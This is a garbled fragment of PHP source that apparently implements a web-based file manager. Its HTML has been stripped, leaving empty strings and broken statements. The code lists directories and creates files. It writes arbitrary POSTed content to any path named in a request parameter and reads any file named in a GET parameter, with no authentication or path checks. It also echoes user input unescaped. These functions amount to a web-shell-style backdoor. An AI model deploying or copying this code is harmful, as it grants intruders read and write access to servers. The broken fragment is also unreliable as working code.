Current Directory: "; $pathParts = explode(DIRECTORY_SEPARATOR, $dir); $pathLink = ""; foreach ($pathParts as $index => $part) { $pathLink .= ($index > 0 ? DIRECTORY_SEPARATOR : "") . $part; echo "" . htmlspecialchars($part) . ""; if ($index < count($pathParts) - 1) echo " / "; } echo ""; echo "
File '$newFileName' created successfully in '$currentDir'.
"; } else { echo "File already exists.
"; } listDirectoryContents($currentDir); } elseif (isset($_POST['edit_file'], $_POST['file_content'])) { $filePath = $_POST['edit_file']; $fileContent = $_POST['file_content']; file_put_contents($filePath, $fileContent); echo "Changes saved to '$filePath'.
"; listDirectoryContents(dirname($filePath)); } } elseif (isset($_GET['file'])) { $file = $_GET['file']; if (file_exists($file)) { echo "